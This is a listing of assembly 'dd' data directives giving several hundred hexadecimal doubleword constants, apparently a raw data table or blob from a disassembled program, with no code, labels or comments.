dd 0F2D2E1Eh, 1AF0AE26h, 0BD133541h, 0DFBB32AEh, 0C0FAD2BCh
dd 0F89E7DBh, 5CDBBF25h, 1C46D6D5h, 2FECB39h, 9B945615h
dd 2C8A09Ah, 96267062h, 0A09DD57h, 60780072h, 0BF0B880Fh
dd 3D0E4D6Eh, 27A67A0h, 0E296613Ch, 0C5B7D746h, 60801C11h
dd 27E5A789h, 9E9DC00Dh, 95EC5B48h, 0E6094A11h, 3115F2B9h
dd 2B9F710Eh, 8B142538h, 0BF96F9F8h, 2AC8EC0Eh, 8A572150h
dd 81EC5BFDh, 0A7D0AF3h, 447A1746h, 8BF6ABF5h, 802CEDA4h
dd 3E49F038h, 0EE084AF9h, 9D8D4730h, 0BC25830Eh, 5408D9FAh
dd 788B1B0Ah, 0BD0FBB95h, 3192F6F1h, 618AA5C5h, 0EC4F0CF2h
dd 0C3F9037Ch, 0A0DACFF8h, 489B3493h, 0CF41DA7Ah, 9628E22Ah
dd 0C8AE6E34h, 0F006E6Ah, 2F4736AAh, 459A511h, 0E5202D67h
dd 0A24CB88Ah, 0EB812016h, 2425ED2Dh, 4B28C627h, 2F8DE2C6h
dd 25E6FCACh, 1AD9665Bh, 0F4B2EC19h, 57A86209h, 337E49Bh
dd 9E551DD8h, 18E0E230h, 3AFFA65Eh, 0E95BF780h, 59099793h
dd 10F3B757h, 66D15E4Ch, 2626C18Bh, 38D2D1F0h, 2B881B02h
dd 2903820Fh, 5F25C3DCh, 4C49D74Dh, 939E014Ah, 0F883E061h
dd 3249710Fh, 17AA5ABCh, 0A69A17E8h, 0CCEAE4B8h, 0CF258079h
dd 1995130h, 0A69284FDh, 97393C14h, 0C40837FEh, 0E7E3EB2Eh
dd 6B565B2Dh, 0DC1005F4h, 5091B0C1h, 114CFF1h, 0F58A9D2Bh
dd 280C04A6h, 9E04ABADh, 0AAB829A1h, 0C68A6082h, 0F92FA450h
dd 6D202224h, 10610721h, 5093B790h, 154497h, 23CE08C1h
dd 0DE8FABE5h, 7E6F214Fh, 0BDD40703h, 5DE9D8F7h, 0C1CE4260h
dd 53409154h, 12E1046h, 6499B9B8h, 0E4A5DE2Bh, 7051F37h
dd 6A61F0A9h, 9CF02FE6h, 59057CB5h, 88056CE8h, 153D36C1h
dd 2A8C0F01h, 9EC870EFh, 0D40039CCh, 7DE6B4FFh, 19DC2628h
dd 847AA39Fh, 2CB96BFCh, 29151184h, 0D19D926Ah, 2F7D5060h
dd 0C724719Dh, 0EA120E41h, 0EB93DE9Bh, 0EA02F95h, 26A8009h
dd 330576CEh, 72FBD922h, 0E3810222h, 20668ABh, 0EDC49A5Ch
dd 16E186B8h, 0CEC10428h, 6E7F6818h, 35E40000h, 0D2E9AEE2h
dd 9D105120h, 0DC6A2C61h, 310ABB07h, 595159F5h, 0D84A7C28h
dd 6B9278B2h, 3CB6246Eh, 5CBFA06Fh, 0DB3234h, 0B7D1B450h
dd 0BCAFA577h, 0C6E86313h, 0D116DABAh, 8834C0D1h, 9D519F9Ah
dd 35C911D6h, 3F58814Ah, 57D239A2h, 891E549Fh, 0DBF96A64h
dd 0D6C508C0h, 0EC0052CBh, 17CA55E1h, 2B797E5h, 0B52DFAEDh
dd 73F77F83h, 0ABD87B0Ah, 83149B0Bh, 17D25745h, 80BA5FF9h
dd 0AFDB5D1h, 0A6B6CCB7h, 14542FA4h, 57841255h, 28EA5510h
dd 27DE5D12h, 51060E6h, 32B30B01h, 4549A2B0h, 91D50906h
dd 0ED08FA3Bh, 8EF8188h, 31A53440h, 16D654AFh, 0C476B903h
dd 80221386h, 805DFBF5h, 6B85F622h, 9727AFC6h, 0A256081h
dd 9768985Dh, 75AF5551h, 2E2926A2h, 98517D1Ah, 6D4DFF3Eh
dd 2BF90B1Ch, 0E0CD64C8h, 594E005Fh, 0C224027Ah, 8B275BF8h
dd 626576D1h, 0E480CF81h, 76E92977h, 0FF97AEB1h, 0CAC5116h
dd 0EE74502Dh, 0AE5ECBA7h, 0FF8E4A26h, 24A22870h, 7DB82F62h
dd 9E0867Ch, 890AED9Dh, 3D615140h, 0D2CA2A08h, 7F129758h
dd 2277E217h, 9219026h, 0FE8B5FBDh, 51187173h, 821A7950h
dd 17953E85h, 2D9AEC62h, 426F7130h, 0F80DA166h, 0E889E96Fh
dd 31B40770h, 0D42C71h, 2927F096h, 4B5BD16h, 8FB3CCEAh
dd 0EA5AF2E2h, 0C9667DA0h, 73715FCAh, 89F1BF80h, 38B92CF2h
dd 0F65E10B0h, 0BEDDF04Dh, 0E49D4A23h, 0D69D5699h, 0C3582F45h
dd 2D801E40h, 0E5568FCBh, 18D795DEh, 209529C0h, 335F2C3Dh
dd 0A3AD4816h, 51A00493h, 81600029h, 0EA5E11C8h, 0D68B0E06h
dd 271CBA61h, 1F4BD54h, 0B9CBD3F0h, 2A398B3Ah, 17C8B4DFh
dd 6DA8B8C1h, 24A551F6h, 2EFE00A1h, 61FF03Eh, 0CB631D28h
dd 0E5E9BD30h, 9F61605Fh, 0BF7EC1D6h, 0E88E9830h, 822F4B3Fh
dd 2E035BDFh, 0AD6C797Fh, 49F39255h, 652E2D2Ch, 8B09BA52h
dd 7DA456A9h, 0BB20003Fh, 0EFD770Bh, 6D1497F9h, 5F5B8B9Fh
dd 0A5C0FCCDh, 0E17FF6Dh, 2F05ADC0h, 3EBBA920h, 5C38B228h
dd 3AAD4EB8h, 0B016E7ECh, 89FEF947h, 88742B72h, 0C0A82DFDh
dd 96A6715Eh, 3275BD08h, 71E1FF09h, 66D0C68Bh, 788C7BBFh
dd 120636CFh, 9BC7D401h, 0BF2097D0h, 4696F381h, 0C5732325h
dd 69B01AB9h, 0DCB41582h, 6951B15Ch, 445F23A5h, 0B25BB53Bh
dd 0E352E000h, 4AB9F54h, 5FB91699h, 1165BCC1h, 5B7A10A5h
dd 80DCDB60h, 9DAF6C8Ah, 5A420623h, 5CEFC049h, 649521EAh
dd 3F9A9FB4h, 0B8B74677h, 0B6174A72h, 301BA2B4h, 4102F32Bh
dd 63AA4ACCh, 0C9EB823Eh, 64AC5C27h, 0BC75428h, 0DDE054F7h
dd 5CE2674Fh, 9A98F782h, 9509C781h, 715EE18Ah, 0BD1DBB7Bh
dd 945925F9h, 50122510h, 0CAA0C053h, 1A880EE9h, 483C00A7h
dd 0B1B6DF9Ah, 2B0E610Ch, 0B250B265h, 0A62052EBh, 1EFEE0A4h
dd 13110055h, 0E58669ACh, 260F780h, 0C01F684Eh, 92AF5C39h
dd 0D64631C0h, 80177E96h, 0DCF04C63h, 0E54304E0h, 0BBDA8A50h
dd 19A2BBB6h, 1C02246Ch, 235BF286h, 9CE42E0h, 409A560Fh
dd 21FC1C2Fh, 0EC19200h, 3556540Ch, 23D8012Ch, 5794468Fh
dd 8D6A5Fh, 2FB1EC2Eh, 0B329DD39h, 0F8B125Bh, 25C57ECFh
dd 9912403Dh, 0BF0228E3h, 6BF6F40Eh, 8961215Ch, 2F389DB5h
dd 0F58DAC4Eh, 3D3DB8Ch, 4171ACFBh, 3C110689h, 0E0481321h
dd 0E7EE0C25h, 0E3DB8102h, 56368E52h, 473725B5h, 0BE4D42Dh
dd 0A5FC6B6Fh, 0CEB5515h, 79C1BD01h, 0FCFBA196h, 8FB775D2h
dd 0BE517D0Ah, 5FBDFB04h, 1C4D0ACh, 4B40AB95h, 0BE8CFD68h
dd 0BB724D1h, 7702813Ah, 3B512E60h, 0B51998F0h, 1415759h
dd 6B3471B5h, 0F88B2D90h, 0C19D1D0Eh, 0B36A1CBFh, 5E59260Eh
dd 0F10BCC8h, 0C2C1FEDBh
dd 31E0CF2Eh, 933AF115h, 2ED25D58h, 7537ACBDh, 72A66115h
dd 0AE6E06E0h, 0D0C51D5Bh, 0CA5DCF82h, 0E14F5506h, 27601964h
dd 0D912B34Ah, 1BB2DAE7h, 271C4F8Eh, 6479117Bh, 0A971A670h
dd 87EFE9D4h, 986D5709h, 5E41BC7h, 28CE0880h, 0C5B52529h
dd 6B77FA56h, 4A57CC75h, 0E565E6F8h, 66AA88EEh, 0C25C719Dh
dd 3C5B04C0h, 0DC6C88D2h, 71251D09h, 490C226h, 0EDD06CF3h
dd 87050415h, 0FFB1535Dh, 64D999DCh, 0ACCF0860h, 0CCAE8093h
dd 372CE29h, 0E1C98A64h, 9DD8EE08h, 0C105802Ch, 4790AC6Ch
dd 0CC3C64AAh, 4C12284Ch, 0F1BB9FD1h, 76A86F9Dh, 3331BBD3h
dd 0F7F2259Dh, 5B721373h, 0A6FC002Bh, 0B919F62Eh, 10D60800h
dd 185299Eh, 0CA7E9706h, 0CB0EB6DCh, 8ABAE8DDh, 0D9CDF3DEh
dd 8199D53Fh, 4403772Fh, 737EAE89h, 0A152BE01h, 60D4A5DAh
dd 2741B931h, 8CFD9C6Eh, 1E9AAE4Bh, 2BC414C8h, 7F8440F8h
dd 52A6FB7Eh, 0BB5FFC00h, 17F6DCC4h, 0BD7FD3AAh, 0A92E8004h
dd 0EF15CF39h, 0F5DA8516h, 10DD0FF1h, 0A967AD3Fh, 74807B69h
dd 0F629A4FEh, 6B4BB277h, 0EFFE8Ch, 30EAA87Fh, 29D1CDEh
dd 0A1ED8E4h, 0E2C1A2D6h, 80BED1DDh, 0D281AD3Fh, 56A06EA6h
dd 5E1E9FE1h, 9E053523h, 9AEFF802h, 6F1DCA7Bh, 0A2F94840h
dd 0A14F0FA3h, 6321EA2Dh, 2059BB66h, 44AC20Eh, 85B82BEDh
dd 0E784AA4Bh, 1E03EA6Fh, 0AADAC40Ch, 3B8F54B9h, 5CA935A9h
dd 0CD1D2BE6h, 0D800A5Ah, 0CF386657h, 6FF30481h, 0EB293A4Eh
dd 98BFBA98h, 0ED2EE3EEh, 1285B8CFh, 65595726h, 4B4B1FDEh
dd 0C8F64E67h, 0B8277C9h, 52DE61F3h, 0EA18C740h, 0D61F0080h
dd 46B24BADh, 0FC3BA891h, 8952940Dh, 0B51320FDh, 810043D9h
dd 0A97FDBF7h, 0E7DCBD3Dh, 7EC502FEh, 0E95396B5h, 0B1EA4C80h
dd 1300A418h, 860A28F1h, 9543040h, 4E82FE2Ah, 3382AF71h
dd 7531759Dh, 2B1C93C7h, 6EEE4B38h, 83B13966h, 1D6680BFh
dd 5CFF7319h, 6469E385h, 0E1834F5Dh, 7B330B23h, 0FD28778Dh
dd 19D5B5D2h, 0E8A22036h, 0DA657527h, 2A0F412Fh, 0FB2BF8A5h
dd 73070A7Ah, 1EECBBEBh, 767148E9h, 130E7247h, 606FEFh
dd 322FD27Eh, 248FD374h, 983FA76h, 0B055BB51h, 0C50689E8h
dd 0EB953139h, 0E1C6B5B0h, 0B8FDE93Bh, 0D99B0029h, 0ED8C8BBFh
dd 4A5A2831h, 261DE108h, 912D9659h, 2E97C3A3h, 6939D23Dh
dd 6A0052A8h, 0DA506123h, 599A3A6Eh, 0F804BE29h, 0B84CE9EAh
dd 806E4AC6h, 2273402Dh, 0BA2B93D1h, 0BF0F9C21h, 0D22DB87Bh
dd 0BF5042F0h, 10D4F4A2h, 0ABB1BB07h, 0A13B045Eh, 3B24D108h
dd 0C64EAA6Eh, 38903C67h, 5A352559h, 3C076FEFh, 22A90606h
dd 40D0DDA4h, 372FE2FFh, 0CE6356ADh, 65CDAC9h, 24E06C60h
dd 0EFC70328h, 14127BA7h, 0EB81DB0Eh, 4629E6CDh, 0EAE57A0Ch
dd 0A8499732h, 0DF8B1102h, 61744B7Eh, 4D95CB50h, 601964C8h
dd 0B3DDF67h, 29CFF00Eh, 0CB488FD4h, 335BF50Eh, 23C76BAEh
dd 45DB0215h, 627CD1FFh, 669E00DCh, 0C6AEC941h, 0BC25BFB4h
dd 3E63C593h, 0B0B2E7DFh, 2FFD1117h, 0A88B4A8Bh, 823805D5h
dd 5D10BBB3h, 0A4503E29h, 7549758Ah, 40FCED10h, 0EA30961Eh
dd 5C980780h, 344239Fh, 0F8367551h, 5FB119C8h, 0ECAD7B5Bh
dd 270034E8h, 0C5758679h, 4E5D4AF1h, 0ACA7B938h, 0F8048C18h
dd 0B5BDB240h, 0EA9202ACh, 0BFD68BC0h, 0E8BB4AEEh, 0E95FC291h
dd 94C77571h, 8715EC12h, 3DCE848h, 939133D8h, 74115162h
dd 91F0F71h, 91185695h, 2E06A12Eh, 0F9C2DE77h, 23E1F590h
dd 0C58C6F58h, 36400F1h, 0AE0126Fh, 3F0BCDCEh, 0DE6031C1h
dd 8DCA6E43h, 5B610906h, 9F663757h, 54EA8CAAh, 0AF120FE0h
dd 0AFFCFBC6h, 0D0E5C19Dh, 30C13481h, 5F48DE24h, 97EF07FEh
dd 0B7A430E0h, 4C87F6BBh, 0B56D0B1Ch, 0D614890Bh, 0B55DA5CBh
dd 0C030A7B9h, 0AA09A102h, 79E81108h, 9D2B8212h, 0F155030Dh
dd 0C173F2B4h, 3005DC17h, 7AFE1559h, 99802EF3h, 0A7921702h
dd 13DF1A4h, 68F598E6h, 0D41AF9C9h, 0BF09E8F2h, 0B5EC5C0h
dd 16B955E5h, 4CC93E0Eh, 0B061936Fh, 0F92D8184h, 70E60110h
dd 0C226F87Fh, 22F29BDh, 55C071E4h, 2F97A24Eh, 0A05F51F4h
dd 568208B4h, 805200F4h, 0BA5B83F7h, 615E27A2h, 0C3ADAB26h
dd 0D9B8BC09h, 5402538Bh, 5F04212Dh, 4661DBB8h, 88C82BD9h
dd 0BB104D64h, 3F2AE3DFh, 0DAD1B1FBh, 0F19328B1h, 412BC896h
dd 4B7F0B41h, 3E56853Fh, 0C8EA4917h, 5700A5E1h, 4FFEA14Eh
dd 1E4C6852h, 84647691h, 0B8134150h, 0BD2B04E5h, 0B2FE1A15h
dd 0CA4239h, 8AAD2FF3h, 19CD5B8h, 0A05CEB0Dh, 6FC3C94Ch
dd 45CA3FADh, 217562B3h, 0C358E65Ch, 0EB544F76h, 0F3AE2E75h
dd 0E1950BC3h, 58C0560Eh, 758A018Fh, 7C00F862h, 286DBD23h
dd 20EB1497h, 0B71CB216h, 922D6A4Bh, 88E555BBh, 1B1F9B01h
dd 0AA829671h, 16F0D572h, 0BBC0C95Ch, 4F27460Ah, 0C059676Ch
dd 34B94B21h, 84221048h, 0A3FE2AE9h, 0D8B2009Fh, 8381F9B9h
dd 0F7CF072Bh, 60D0EFFAh, 84E00C7Ah, 0BCC4D74Bh, 5009CFADh
dd 0EA7FBD03h, 0EDFB7D50h, 0A7C9970h, 20EFCA5Dh, 943B6082h
dd 770042EEh, 143C73C6h, 4A99CAEFh, 0FA55F0D7h, 0C02B5F0Ah
dd 0FD40F4E9h, 7B80C5BAh, 0E9C04A0h, 0B89BCA81h, 15184D5h
dd 0FB5F84FFh, 30D2D6F6h, 7498AFA1h, 774DE110h, 6F5BD917h
dd 0CB097D30h, 0D50AF8D8h, 41D74412h, 0D96A2F70h, 8B681057h
dd 4E6B7C5h, 9C8A6695h, 39D6EB67h, 0EDB00D4h, 0DCC45E06h
dd 0EC026A35h, 13FC5CBBh, 565BD731h, 84C31C51h, 69355520h
dd 0CE93FD02h, 17F927B4h, 0B40BB1Fh, 0E3814EC8h, 99DB12C4h
dd 88CEE22Ah, 5A9EA06Ch, 0B8D009C1h, 7CF05EF3h, 0EF6B16ECh
dd 0A201093Bh, 19A4A871h, 0F3A9E513h, 0DEFDE12Eh, 9161F201h
dd 605295B1h, 16F7EE30h, 15856A7h, 359D03FFh, 4ACE6A17h
dd 0E922C122h, 0F997020Ch, 600126C7h, 4B76F257h, 12968A48h
dd 0FADE04BEh, 12F95880h, 9409919Ah, 0DE978E7Ch, 1DDD08B4h
dd 51B58928h, 44D62E9h, 4200654Eh, 8448F64Fh, 0BB6D77Fh
dd 60B40E39h, 8E707653h, 0EB585F54h, 33BB7B25h, 2BC8813Eh
dd 775EA48Eh, 0BFD211F8h, 0B53DD9B1h, 0EC0180B8h, 677A2C2Fh
dd 0B57AEEB4h, 606E6F90h, 1625AF5Eh, 0C07A0704h, 7922C9B9h
dd 0DC139Ch, 0A31798A8h, 396DE772h, 59CE4B2Dh, 0D0B75484h
dd 0E9419DEDh, 0D2AE1508h, 61011CF5h, 352E52B3h, 0BA3C85EFh
dd 537E8EF1h, 0AC6EBEECh, 0C77E1C25h, 70EFAD12h, 36EC596Bh
dd 5116A100h, 963EDCF7h, 90A625D6h, 0CB624562h, 0ABE7FBFDh
dd 0BAF72F68h, 4A945529h, 1240BF02h, 0C65037D8h, 6FB0098h
dd 9C8B2FE1h, 1008DEBh, 794B82BDh, 9A51422h, 52502AAEh
dd 0E11E7664h, 104F0782h, 0DCD1EBDAh, 5CFE2D2Dh, 4F4456A5h
dd 6BBB023Ch, 0C4550D83h, 0A9584B40h, 0B42CB80Bh, 118ACA14h
dd 0E6B31702h, 8DC68CFAh, 521D92EBh, 895FF042h, 0D6735D85h
dd 0E9CF0FD8h, 427F1E31h, 98E95B71h, 0BB843E74h, 1ABCC973h
dd 0BCC6B992h, 279F2480h, 66F02DA7h, 5D381A97h, 27B52640h
dd 0D8E253BDh, 67058E8Ch, 820FA408h, 0C80E12h, 0D8973FB0h
dd 0C5BFD380h, 0D10A6573h, 0B529CD0Bh, 5B9B5705h, 0BD7F0CD2h
dd 893D0576h, 0D346DB06h, 50F260AAh, 429FB2FAh, 2F73DF9Eh
dd 4C1C4A5h, 0FE326960h, 5BA7BCDAh, 3D25496Eh, 5612E5DCh
dd 0C668C30h, 0A03004ACh
dd 0A8FF32D0h, 0CF62808Ch, 51C4D44h, 0DA477B9Ah, 0B716BA4Bh
dd 0DF5922FEh, 8160985Eh, 1F294C7h, 0B8683935h, 7BB37A75h
dd 6174B020h, 0F89A0003h, 0D1BF7F5Ch, 0B00BEA28h, 0C58A0F80h
dd 0CB52AD62h, 252A4758h, 0DCF7F64Ch, 7F9AE809h, 0A8CC796Dh
dd 0ACE897CBh, 0DE4E8A50h, 1D12F7E2h, 0C012E90Eh, 5F9FB350h
dd 0DCB3B661h, 915A3C62h, 7AAD5E33h, 310DE940h, 70871C97h
dd 3FC88761h, 0E0BBA063h, 387F77F0h, 957056E9h, 127814DBh
dd 5B0F0485h, 0AC79A96Eh, 87028035h, 0B1D280h, 0A8DA9290h
dd 0A9BE38FFh, 51F96901h, 0F707DDD0h, 0E9AACE6Ah, 0A8CDF92Bh
dd 719D4E14h, 0E999D301h, 0CC322F85h, 51A95EFBh, 0CCD10F71h
dd 0BCDC7DC0h, 3D258B1Eh, 5D998902h, 2A9EC362h, 5E043925h
dd 0BA00F4F0h, 1F202785h, 0B895F1B6h, 0F85E4EA6h, 0F5A74AE5h
dd 7A247510h, 0E5599D25h, 0F98A0F7Eh, 577BD909h, 0A3181559h
dd 0E3028C7Dh, 552C97B2h, 216C196h, 0E3D3AF15h, 429BE5DFh
dd 0F9B5BED2h, 0EA00A223h, 154BDE59h, 0CB00A693h, 2AAC14BFh
dd 16315B17h, 0AB33118Dh, 1D2B676Fh, 6FD62FBAh, 12F35E5Ah
dd 278BF3F5h, 7B7C892Bh, 181C7932h, 708800DAh, 7CF1FF37h
dd 75D27375h, 6F485DE3h, 0B012FF5Eh, 8A99DAAEh, 0E0CEB31Ch
dd 0BEB1F805h, 0C80612E0h, 0DF6809C7h, 0AC0FF359h, 5723C7C1h
dd 0C8944D50h, 79F27315h, 0D2FC12B3h, 61D4FF29h, 0D2FCB2BBh
dd 0BCA82CF9h, 4BB66904h, 0D7C2AEADh, 5C20CAE5h, 155D2523h
dd 9A36A87h, 0CD77AC16h, 0F96C4BECh, 22D4C600h, 4FBFF821h
dd 5EF72581h, 4FA8017Bh, 491D4D21h, 0F48C0BD5h, 0D90055C8h
dd 9D892C9Eh, 2C6AA51h, 42FE19Ch, 820FB96h, 39FF747Eh
dd 0A31FA014h, 0DECEAE50h, 4920ED9Ah, 14A5BD26h, 80E7BF2Bh
dd 0CB3B16A0h, 9D1203ECh, 0D2B80BC5h, 0A4ECA6B4h, 5305BCBBh
dd 1B91006Ah, 0DAD0D8B3h, 0ABE838EEh, 3577C701h, 2F73B013h
dd 89315128h, 3F4908Bh, 4300B05Fh, 29D475FDh, 50B3B85Dh
dd 0BAC9DCEEh, 0C07C9F86h, 0B06E03FEh, 0E19D29C4h, 0D0B4AE84h
dd 0F7E64AE8h, 5CB65E2Bh, 0CB9A38A3h, 0F88CD3F7h, 4E002349h
dd 4FB50155h, 0B52A6AA3h, 0AB8A666h, 0F430F495h, 0CFF81561h
dd 0AC6F78B0h, 0C781F0CAh, 4BA378B2h, 0AE6FC45Dh, 0D1A069A7h
dd 4D2D6739h, 61C4ADh, 0D26CFF3Ch, 0ED9E28C5h, 0D3E5DB00h
dd 914E07EEh, 81C00060h, 0CAD8B9F3h, 86975B61h, 1EBE52A0h
dd 0B0F256DFh, 0F4A573C8h, 2CEB3E5Bh, 0A12095CAh, 90CCA21Ch
dd 9DC5E9FDh, 499B6E70h, 78CFA78h, 4274E332h, 0FC2C25B5h
dd 561FC06Dh, 96EADEh, 605F74DAh, 71B589F9h, 22B82D5Eh
dd 0CD854A9Eh, 6BA90E5h, 0EA81F011h, 1660ED47h, 0F9C4C414h
dd 0F97F1E0Eh, 0FE12CE98h, 0B716AD46h, 4AFEDAAEh, 32589D88h
dd 0F01AC22Bh, 38127BFAh, 0E2EB5A4Dh, 1BC48F6h, 0D0033C50h
dd 45D93A81h, 277719AFh, 0A3092DD4h, 72D9E919h, 0C88B314Ch
dd 2681D0h, 0CC3C4003h, 2DC2064Fh, 0F38B2940h, 9D1210EBh
dd 6CB54C33h, 330C1C5Bh, 2221D103h, 8624D7Bh, 1277112h
dd 40058F64h, 4C4836Dh, 260A6495h, 2A78B51h, 0B0A98110h
dd 59B5148Ch, 0C3C03312h, 7CD7D04h, 8A2466CCh, 40C37457h
dd 0A7D26847h, 0CAD49A23h, 1F083423h, 0EB109882h, 54A0E8D3h
dd 5C0236B1h, 0B4B7F11Dh, 0D4EA425Eh, 0C681C094h, 2F956E21h
dd 3B92BB7h, 0F079D1CCh, 0D24C2DE9h, 8268C80Ch, 4D765800h
dd 2A41A9C6h, 20C80BD9h, 55442BF6h, 80450B38h, 0CDD5CBDFh
dd 95A55154h, 0FE7280DFh, 0A06C97B4h, 0F5BD7D4h, 60068B5Fh
dd 6AEA8C09h, 0F92788F1h, 599361h, 618535F2h, 0ACF0E881h
dd 0B8744A33h, 50C0C8FFh, 1F393CF4h, 0AFD483A5h, 470FFC3h
dd 0BA0B2234h, 59A2AF01h, 4C2CAE4Ah, 0EAA103C2h, 84D0816Fh
dd 612E04E0h, 8306890Eh, 62A3F3EEh, 4935B309h, 221A6A04h
dd 81628084h, 0AA0F6C3h, 2FE908BBh, 0B670000Bh, 0A1E04FDCh
dd 0E4E69827h, 93291333h, 4400EF7Ah, 699BB7Dh, 0EEF00667h
dd 0F2540A26h, 0E95FD909h, 886205Eh, 73D3B50h, 0C202A0F2h
dd 9FE282B8h, 57346460h, 0CEAB7B00h, 0EAC32B56h, 1BEE01AEh
dd 0C74F9B54h, 0E209984Bh, 0A70A21h, 75933AEEh, 0F3F484AAh
dd 72016072h, 0FC50B45Eh, 5991D36Dh, 0EEC29F81h, 31CB5421h
dd 0AD1010DFh, 0A62700EEh, 8E08E6BDh, 1C00B01Eh, 0EB32FED5h
dd 22B5739h, 13ACCB2Dh, 0E301CAC7h, 56701A28h, 2F7B0C3Fh
dd 0DA080F44h, 210921C0h, 6804F1Ah, 463A1C52h, 535C71D1h
dd 0B8D830E3h, 410448F2h, 0C3399960h, 0B0187DC0h, 541DEE1Eh
dd 0E311A3h, 0E7EEA90Ch, 3FECDA01h, 24BE88D0h, 3F00803Bh
dd 0B059D26Bh, 0D0C1E930h, 45F060C2h, 0B6BC1880h, 2A5735C1h
dd 63EC591Ah, 24C05F88h, 0F80FFEB8h, 6072AEC2h, 0FFFD4948h
dd 2B7A1CFBh, 0D4078080h, 0B46811EDh, 38FEC275h, 0A700E07Eh
dd 0F9B6A175h, 4B613Ah, 0DC20DABCh, 499985C1h, 0B99EB100h
dd 92B697DDh, 0C6A70001h, 4CAD40AEh, 6C014B11h, 1C60BD90h
dd 0E2D092F2h, 0A49D2477h, 502E0EA9h, 3D002BEFh, 36D48C49h
dd 5894300h, 2698B8EEh, 7238004Dh, 76886A2Dh, 42009DBFh
dd 617E3EC8h, 8E23A4h, 355BA5DCh, 2FE5C695h, 54D4E900h
dd 0CF47B188h, 0A5EE2Bh, 1FF3E00Fh, 220C5657h, 8CD07839h
dd 18D3279Eh, 5B2E0038h, 90C93A19h, 0B8E9E101h, 80263F10h
dd 7F355776h, 740D5F1Dh, 21EA6080h, 691F1E23h, 0DD9BC103h
dd 0B09C07F2h, 7D7BA9Ah, 262E072h, 31E5F655h, 7FE933F2h
dd 1180C1B1h, 29DC85E9h, 3D0C8F52h, 89F4AE4h, 0B21CCE3h
dd 82001BE2h, 2A038C60h, 60B86C9Eh, 0C6C921DDh, 73D447Eh
dd 0EA3B003Ah, 8D8B13FDh, 77F6B0h, 4DE867C5h, 2CDFD62Fh
dd 0B5D7280Eh, 0F7F8F8C3h, 34F42866h, 0CE2A0888h, 8420D18Eh
dd 273D9146h, 3D577788h, 9350F3C4h, 0C87E0071h, 21938B84h
dd 0AE192AE1h, 0F950E367h, 4D37CF9h, 87A66C68h, 602826CFh
dd 895991FFh, 96070D36h, 16059277h, 950EF480h, 10B20024h
dd 224DEFD0h, 0D100353Bh, 97DBC942h, 53847Dh, 6C31AD07h
dd 665B7FE1h, 52060101h, 0D91B969Fh, 324D0h, 0C8E755F8h
dd 7484B6Fh, 85B5733h, 1A2100EEh, 1B91E74Dh, 8F03DF94h
dd 5FC8BCFh, 1676F86Fh, 0BE9A2890h, 28073AC3h, 449FD800h
dd 0DD5599C9h, 9BFBD603h, 0A3FCC7A5h, 66210E4Dh, 686798D1h
dd 0CED990ECh, 4A06CC82h, 0A53F881Bh, 0D97AF060h, 1897B080h
dd 0C9E70856h, 0EBC4536Fh, 0E74E1940h, 2601EC1Fh, 470204AAh
dd 0B8C8465Bh, 0C1DDEA5Dh, 0DCA2D829h, 690BC04h, 50486B7Ch
dd 0F9F20C20h, 9938ECABh, 3C4DD80Ch, 0E32902h, 7C8EDE41h
dd 8428BB2Ch, 17081C66h, 2AC10021h, 0B26E25DEh, 7053197h
dd 8CE0CE5h, 302E9422h, 510898CDh, 6FFCB6DDh, 0D56A0731h
dd 25E08D98h, 8FA3F9h, 6B3B778h, 76045B7Ch, 2485B0C0h
dd 60C06B2Eh, 0E5261061h, 0AD00CC19h, 7EBF8AE4h, 0F556E85Ch
dd 36CFF4h, 88A444C9h, 0F57A1FE5h, 5272B400h, 7D166AB1h
dd 0CBC40092h, 0F1EC6220h, 8D00A8EFh, 712C8806h, 0B0425Dh
dd 0C533283h, 61383DC3h, 26161800h, 9CC5EC36h, 1447902Ah
dd 95AE68EAh, 0E24B7700h, 64F2FAF6h, 0C4B74F07h, 1690B81Ah
dd 74711734h, 0A1C30198h, 9E920BFAh, 118DCC9Ah, 3887400h
dd 0F6AF75E5h, 0E060008Ch
dd 28D625B1h, 0E2F4ABD5h, 117FFA00h, 61806486h, 986C00DDh
dd 0C3E61590h, 0D33E16Dh, 7408C4h, 90B04C21h, 4BAE02C7h
dd 0F000CBE2h, 0E642D506h, 284A399h, 77ECD6E7h, 0FCE04C08h
dd 0DE30A9B1h, 2BFD408Ch, 24480141h, 5C4DA429h, 0D9089821h
dd 1C341E21h, 0C4E4DA41h, 0C00F069Dh, 0D0AAAE00h, 36C23E60h
dd 36E2E96Ah, 0C090CD90h, 973F1246h, 0ABE61408h, 4D4070C4h
dd 667490AFh, 7F6A033Eh, 56588562h, 0DD890C67h, 2439CA7Fh
dd 3F8FA422h, 0BAD03F18h, 4E3A00D2h, 6E96845h, 19C271FDh
dd 787D6F2h, 4805C28Fh, 36D22400h, 61CA8069h, 569E28C6h
dd 86A11F41h, 5DC44E91h, 0AEA9E7A3h, 32E8BB93h, 0EF009711h
dd 0C566799Dh, 1FAFCC8h, 0AEDCB877h, 0C12D4E25h, 7CA1C068h
dd 34BAA21Fh, 0B22C5485h, 8866CF00h, 0BB8B6Bh, 0C5DB5D13h
dd 6D999EA2h, 728F3D01h, 1792CA26h, 0F5D4D8D3h, 937C0058h
dd 97538260h, 0AD0064F1h, 8B2BF0EFh, 1FCD6AD9h, 5F3DCEB7h
dd 36908070h, 1F1A2421h, 5080AE00h, 863583F6h, 3AAA0022h
dd 0E8F0B287h, 0BF1EC610h, 0DB0E33E9h, 3B788553h, 0C55BFE00h
dd 0FE4B1Eh, 0A3B6E29Ah, 5A2FCC6Bh, 65B058F8h, 2A96B703h
dd 0C07410A4h, 0F090E961h, 98733E38h, 4221406Fh, 80E8D739h
dd 0B704360h, 1CF26322h, 0FC3B6223h, 19C58180h, 0FE4329D2h
dd 27AB8B1Fh, 53C030B1h, 503BBE20h, 7B01413h, 9017D239h
dd 0C10729ABh, 0E0788C15h, 0B7D9FF0Dh, 1C0CD1EDh, 19C463CBh
dd 0C0038FF2h, 2A788302h, 0D982123h, 2C4BA407h, 1A6EC07Ch
dd 2042DEF7h, 4B115C15h, 0BEAE6000h, 0E925628Fh, 2B684001h
dd 35D3FFC7h, 730320BDh, 332A3FEBh, 0D2803AD3h, 0FE011DA3h
dd 0F1B35FECh, 0B180FCCCh, 0DA7309C7h, 0F92E2232h, 191DE5AEh
dd 0C6897403h, 0C751412Dh, 0BB33088Fh, 0B0B617E3h, 86AADAE0h
dd 0D2005CB8h, 1BB1B90Fh, 64F687ECh, 409778F3h, 9210F476h
dd 9E1C0A4Ah, 8A0ECFAh, 588E2173h, 98AECAB0h, 0FDEB4B00h
dd 7E12B09h, 0BABDF499h, 8A3C0FCh, 0B606EA6Eh, 84B8DA87h
